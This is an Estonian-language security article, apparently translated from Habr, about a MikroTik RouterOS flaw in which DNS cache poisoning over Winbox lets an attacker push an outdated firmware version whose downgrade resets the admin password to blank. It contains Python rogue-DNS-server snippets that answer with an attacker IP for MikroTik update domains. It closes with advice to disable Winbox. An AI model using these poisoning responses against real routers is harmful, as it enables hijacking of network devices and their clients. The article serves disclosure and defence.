Võimalus RouterOS-il (Mikrotik) põhinevaid seadmeid eemalt alandada seab ohtu sadu tuhandeid võrguseadmeid. Haavatavus on seotud Winboxi protokolli DNS-i vahemälu mürgitamisega ja võimaldab seadmesse laadida aegunud (vaikeparooli lähtestamisega) või muudetud püsivara.
Haavatavuse üksikasjad
RouterOS-i terminal toetab DNS-i otsimise käsku lahendamise.
Seda päringut käsitleb binaar, mida nimetatakse lahendajaks. Resolver on üks paljudest kahendfailidest, mis loovad ühenduse RouterOS-i Winboxi protokolliga. Kõrgel tasemel saab Winboxi porti saadetud "sõnumeid" suunata RouterOS-i erinevatesse binaarfailidesse massiivipõhise nummerdamisskeemi alusel.
Vaikimisi on RouterOS-is DNS-serveri funktsioon keelatud.
Isegi kui serveri funktsioon on keelatud, säilitab ruuter oma DNS-i vahemälu.
Kui teeme päringu, kasutades näiteks example.com aadressi winbox_dns_request, salvestab ruuter tulemuse vahemällu.
Kuna saame määrata DNS-serveri, mille kaudu päring peaks minema, on valede aadresside sisestamine triviaalne. Näiteks saate konfigureerida DNS-serveri juurutamise alates
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Kui otsite nüüd Winboxi abil saiti example.com, näete, et ruuteri DNS-i vahemälu on mürgitatud.
Muidugi pole saidi example.com mürgitamine eriti kasulik, kuna ruuter seda tegelikult ei kasuta. Siiski peab ruuter pääsema juurde upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ja download.mikrotik.com. Ja tänu veel ühele veale on võimalik neid kõiki korraga mürgitada.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Ruuter nõuab ühte luba ja me anname viis tagasi. Ruuter ei salvesta kõiki neid vastuseid õigesti vahemällu.
Ilmselgelt on see rünnak kasulik ka siis, kui ruuter toimib DNS-serverina, kuna see võimaldab rünnata ruuteri kliente.
See rünnak võimaldab teil ära kasutada ka tõsisemat haavatavust: RouterOS-i versiooni alandada või tagasiportida. Ründaja taasloob värskendusserveri loogika, sealhulgas muudatuste logi, ja sunnib RouterOS-i nägema aegunud (haavatavat) versiooni ajakohasena. Oht seisneb siin selles, et versiooni "värskendamisel" lähtestatakse administraatori parool vaikeväärtusele - ründaja saab süsteemi sisse logida tühja parooliga!
Rünnak on sellest hoolimata üsna toimiv
kaitse
Lihtsalt Winboxi keelamine võimaldab teil end nende rünnakute eest kaitsta. Vaatamata Winboxi kaudu haldamise mugavusele on parem kasutada SSH-protokolli.
Allikas: www.habr.com